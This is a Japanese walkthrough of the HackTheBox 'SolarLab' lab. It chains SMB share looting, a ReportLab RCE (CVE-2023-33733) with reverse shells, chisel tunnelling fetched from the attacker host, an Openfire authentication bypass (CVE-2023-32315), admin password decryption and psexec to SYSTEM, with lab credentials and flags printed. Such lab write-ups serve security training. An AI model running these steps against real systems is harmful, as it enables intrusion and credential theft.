【HackTheBox】SolarLab：Writeup

# 概要

HackTheBox「SolarLab」のWriteupです。

https://app.hackthebox.com/machines/SolarLab

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.16 -oN nmap_result
PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx 1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-09-20T15:41:19
|_  start_date: N/A
|_clock-skew: 1s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
```

`solarlab.htb`と`report.solarlab.htb`のドメインが判明したので`/etc/hosts`に追記します。

```
10.10.11.16     solarlab.htb report.solarlab.htb
```

`80`番ポートにアクセスするとWebサイトが表示されました。

![80 index.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a6bc7a9f-0861-173a-4199-f9bcf07f1a05.jpeg)

`report.solarlab.htb:6791`にアクセスするとログインページが表示されました。

![6791 login form.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/033394b6-a5bb-a843-45d6-98814b366c54.jpeg)

Webサービスそれぞれのディレクトリ列挙をします。

```
$ dirsearch -u http://solarlab.htb
[12:19:53] 301 -  169B  - /assets  ->  http://solarlab.htb/assets/
[12:20:20] 301 -  169B  - /images  ->  http://solarlab.htb/images/
```

```
$ dirsearch -u http://report.solarlab.htb:6791
[12:23:03] 302 -  235B  - /dashboard  ->  /login?next=%2Fdashboard
[12:23:24] 200 -    2KB - /login
[12:23:25] 302 -  229B  - /logout  ->  /login?next=%2Flogout
```

SMBの共有リソースを列挙します。

```
$ smbclient -L //10.10.11.16
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Documents       Disk      
        IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
```

`Documents`にアクセスします。

```
$ smbclient  //10.10.11.16/Documents
```

中を見るとOfficeファイルがあるのでダウンロードします。

```
smb: \> ls
  .                                  DR        0  Fri Apr 26 10:47:14 2024
  ..                                 DR        0  Fri Apr 26 10:47:14 2024
  concepts                            D        0  Fri Apr 26 10:41:57 2024
  desktop.ini                       AHS      278  Fri Nov 17 05:54:43 2023
  details-file.xlsx                   A    12793  Fri Nov 17 07:27:21 2023
  My Music                        DHSrn        0  Thu Nov 16 14:36:51 2023
  My Pictures                     DHSrn        0  Thu Nov 16 14:36:51 2023
  My Videos                       DHSrn        0  Thu Nov 16 14:36:51 2023
  old_leave_request_form.docx         A    37194  Fri Nov 17 05:35:57 2023
smb: \concepts\> ls
  .                                   D        0  Fri Apr 26 10:41:57 2024
  ..                                  D        0  Fri Apr 26 10:41:57 2024
  Training-Request-Form.docx          A   161337  Fri Nov 17 05:46:57 2023
  Travel-Request-Sample.docx          A    30953  Fri Nov 17 05:36:54 2023
```

`details-file.xlsx`からユーザー名やパスワードを得られました。

![details file.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1d3897e2-6d14-070d-9bc0-4bab5d2d72c3.jpeg)

`AlexanderK`,`ClaudiaS`をユーザー名に使用した場合、エラー出力が変化したのでアカウントの存在を確認できました。
ユーザー名の規則から推測して`blakeb`アカウントも発見できました。

![user find.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d0f0943c-417c-bd6b-6f9a-b44b8b8b52be.jpeg)

`Username: blakeb`、`Password: ThisCanB3typedeasily1@`でログインできました。

![dashboard.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/dd37b8f9-4823-3e94-dc2e-286b323c1f98.jpeg)

それぞれ4つの遷移先ページではPDFを生成できます。

![leaverequest.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1251ea2b-342d-654c-307f-2e6eb7a3dd94.jpeg)

![gen pdf.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ec6d551c-0ac1-6e79-2649-9cedef2fa94e.jpeg)

生成されたPDFを保存し、`exiftool`でメタデータを読み込みます。

```
$ exiftool output.pdf                      
ExifTool Version Number         : 12.70
File Name                       : output.pdf
Directory                       : .
File Size                       : 277 kB
File Modification Date/Time     : 2024:09:22 12:08:18-04:00
File Access Date/Time           : 2024:09:22 12:08:18-04:00
File Inode Change Date/Time     : 2024:09:22 12:08:18-04:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Author                          : (anonymous)
Create Date                     : 2024:09:22 19:07:25-02:00
Creator                         : (unspecified)
Modify Date                     : 2024:09:22 19:07:25-02:00
Producer                        : ReportLab PDF Library - www.reportlab.com
Subject                         : (unspecified)
Title                           : (anonymous)
Trapped                         : False
Page Mode                       : UseNone
Page Count                      : 1
```

PDF生成には`ReportLab PDF Library`が使用されていると分かりました。

https://docs.reportlab.com/

`reportlab pdf library exploit`などで検索すると`CVE-2023-33733`がヒットしました。

https://nvd.nist.gov/vuln/detail/CVE-2023-33733

試しにpingを実行するとRCEが成功したと分かりました。

![ping.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6847dc75-62ed-f1fe-2d33-b12fc210720a.jpeg)

```
$ sudo tcpdump -i tun0 icmp                     
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
12:37:57.124362 IP solarlab.htb > 10.10.14.150: ICMP echo request, id 1, seq 1, length 40
12:37:57.124375 IP 10.10.14.150 > solarlab.htb: ICMP echo reply, id 1, seq 1, length 40
```

リバースシェルを張ります。
Netcatでリッスンします。

```
$ nc -lnvp 1234
```

リバースシュルペイロードは下記サイトから生成します。

https://www.revshells.com/

リクエストを送信するとシェルを張れました。

```
$ nc -lnvp 1234                                          
listening on [any] 1234 ...
connect to [10.10.14.150] from (UNKNOWN) [10.10.11.16] 53562
whoami
solarlab\blake
```

`C:\Users\blake\Desktop\user.txt`からユーザーフラグを入手できました。

```
PS C:\Users\blake\Desktop> type user.txt
4d87bcd6ec3a001ba1583640cbdfd5cc
```

# Root Flag

`C:\Users\blake\Documents\app\app.py`のソースコードを見るとSQLiteで`users.db`ファイルを使用しています。

```
# app.py
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
import os

app = Flask(__name__)
app.secret_key = os.urandom(64)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
```

`users.db`ファイルを検索します。

```
PS C:\Users\blake\Documents\app> Get-ChildItem -Path C:\ -Filter users.db -Recurse -ErrorAction SilentlyContinue



    Directory: C:\Users\blake\Documents\app\instance


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----          5/2/2024  12:30 PM          12288 users.db                                                             


    Directory: C:\Users\blake\Documents\app\reports\instance


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----        11/17/2023  12:11 PM          12288 users.db
```

`C:\Users\blake\Documents\app\instance\users.db`を発見しました。
ファイルをSMB経由でKaliにダウンロードします。

```
Copy-Item -Path C:\Users\blake\Documents\app\instance\users.db -Destination C:\Users\Public\Documents
```

```
smb: \> get users.db
```

ファイルの内容から認証情報を得られました。

```
$ sqlite3 users.db
sqlite> .table
user
sqlite> select * from user;
1|blakeb|ThisCanB3typedeasily1@
2|claudias|007poiuytrewq
3|alexanderk|HotP!fireguard
```

別アカウントを探します。

```
PS C:\Users\blake\Documents\app> net users

User accounts for \\SOLARLAB

-------------------------------------------------------------------------------
Administrator            blake                    DefaultAccount           
Guest                    openfire                 WDAGUtilityAccount       
The command completed successfully.
```

`openfire`アカウントを発見したので`Openfire Server`が動作している可能性があります。

https://www.igniterealtime.org/projects/openfire/

`openfire`で使用するポートを調べると`9090`,`9091`だと分かったので、ネットワーク使用状況を調べると`9090`,`9091`がリッスンしていました。

```
netstat -ano
TCP    127.0.0.1:9090         0.0.0.0:0              LISTENING       3220
TCP    127.0.0.1:9091         0.0.0.0:0              LISTENING       3220
```

サービスはローカルで動作しているので`chisel`を使用してトンネリングします。
`chisel`のexeファイルを作成します。

```
$ git clone https://github.com/jpillora/chisel.git
$ cd chisel
$ env GOOS=windows GOARCH=amd64 go build -o chisel_win.exe -ldflags "-s -w"
```

ターゲットマシンに`chisel_win.exe`をダウンロードします。

```
wget http://10.10.14.150/chisel_win.exe -OutFile C:\Users\blake\Documents\app\chisel_win.exe
```

Kaliでサーバーを起動します。

```
$ chisel server --reverse -p 8000
```

ターゲットマシンでクライアントを起動します。

```
./chisel_win.exe client 10.10.14.150:8000 R:9090:127.0.0.1:9090
```

`127.0.0.1:9090`にアクセスすると`openfire`のログインページが表示されました。

![openfire.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7a021a4c-fa2f-0f81-3858-7fa0d046cfa4.jpeg)

`openfire 4.7.4`が使用されていると分かりました。
脆弱性情報を検索すると`CVE-2023-32315`が見つかり、認証をバイパスできるようです。

https://nvd.nist.gov/vuln/detail/CVE-2023-32315

PoCは下記リポジトリを使用します。

https://github.com/miko550/CVE-2023-32315

PoCを実行し、新しいアカウントを作成できました。

```
$ python CVE-2023-32315.py -t http://127.0.0.1:9090


 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██████╗ ██████╗ ██████╗  ██╗███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚═══██╗██╔═══╝  ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝     ██████╔╝███████╗██████╔╝ ██║███████║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝      ╚═════╝ ╚══════╝╚═════╝  ╚═╝╚══════╝
                                                                                                       
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!

[..] Checking target: http://127.0.0.1:9090
Successfully retrieved JSESSIONID: node01loj99ilcfop51ahref30afhrd8.node0 + csrf: 2wueWdMNntz4Gyp
User added successfully: url: http://127.0.0.1:9090 username: 1ka4t9 password: 28wl1z
```

作成されたアカウントでのログインに成功しました。

![openfire login.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ee7d56be-e686-0eff-d19d-da6dfee271f3.jpeg)

`Plugins`->`Browse`からPoCリポジトリにある`openfire-management-tool-plugin.jar`をアップロードします。

![plugins.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/eacfd536-528c-2c97-96d5-c5e496f0dbd0.jpeg)

`Server`->`Server Setting`->`Management Tool`にアクセスします。

![managemnt tool.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ef31bcd0-0911-77e4-4008-c7b4ebc27243.jpeg)

`Password: 123`を使用してログインします。
`system command`を選択することでOSコマンドを実行できました。

![whoami.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6cf13c4f-c4f6-a0a4-9355-32be5aa26827.jpeg)

Netcatで再度リッスンします。

```
$ nc -lnvp 1235
listening on [any] 1235 ...
```

下記サイトからPowerShellのリバースシェルコードを生成し実行することで`openfire`アカウントのシェルを取得できました。

https://www.revshells.com/

```
$ nc -lnvp 1235
listening on [any] 1235 ...
connect to [10.10.14.150] from (UNKNOWN) [10.10.11.16] 53927
whoami
solarlab\openfire
```

`openfire`では`embedded-db`ディレクトリ配下にDBファイルがあるようなので見てみると発見しました。

https://discourse.igniterealtime.org/t/path-to-embedded-database/52242/3

```
PS C:\Program Files\Openfire> dir


    Directory: C:\Program Files\Openfire


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----        11/17/2023   2:11 PM                .install4j                                                           
d-----        11/17/2023   2:11 PM                bin                                                                  
d-----         9/21/2024  10:33 PM                conf                                                                 
d-----        11/17/2023   2:11 PM                documentation                                                        
d-----         9/21/2024  10:33 PM                embedded-db
```

`embedded-db`配下を見ると`openfire.script`を発見しました。

```
PS C:\Program Files\Openfire\embedded-db> dir


    Directory: C:\Program Files\Openfire\embedded-db


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----         9/21/2024  10:33 PM                openfire.tmp                                                         
-a----         9/21/2024  10:33 PM              0 openfire.lck                                                         
-a----         9/22/2024  10:38 PM           7683 openfire.log                                                         
-a----         9/21/2024  10:33 PM            106 openfire.properties                                                  
-a----          5/7/2024   9:15 PM          16161 openfire.script
```

`openfire.script`の内容を見ると管理者の認証情報に関するデータを発見できます。

```
PS C:\Program Files\Openfire\embedded-db> type openfire.script

(省略)

INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')

(省略)

INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
```

パスワードは暗号化されているようです。
`openfire`のパスワード復号には下記PoCを利用しました。

https://github.com/c0rdis/openfire_decrypt?source=post_page-----e6b5a53998c3--------------------------------

PoCを実行し、管理者のパスワードが`ThisPasswordShouldDo!@`だと分かりました。

```
$ javac OpenFireDecryptPass.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
$ java OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)
```

`psexec`で管理者アカウントにリモート接続します。

```
$ impacket-psexec solarlab.htb/administrator:'ThisPasswordShouldDo!@'@solarlab.htb powershell
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on solarlab.htb.....
[*] Found writable share ADMIN$
[*] Uploading file NCFHTGlL.exe
[*] Opening SVCManager on solarlab.htb.....
[*] Creating service WiBM on solarlab.htb.....
[*] Starting service WiBM.....
[!] Press help for extra shell commands
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6


PS C:\Windows\system32> 

PS C:\Windows\system32> 
whoami
PS C:\Windows\system32> whoami
nt authority\system
```

`C:\Users\Administrator\Desktop\root.txt`からルートフラグを入手できます。

```
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
af76e7470f5dcfe303087100c0304811
```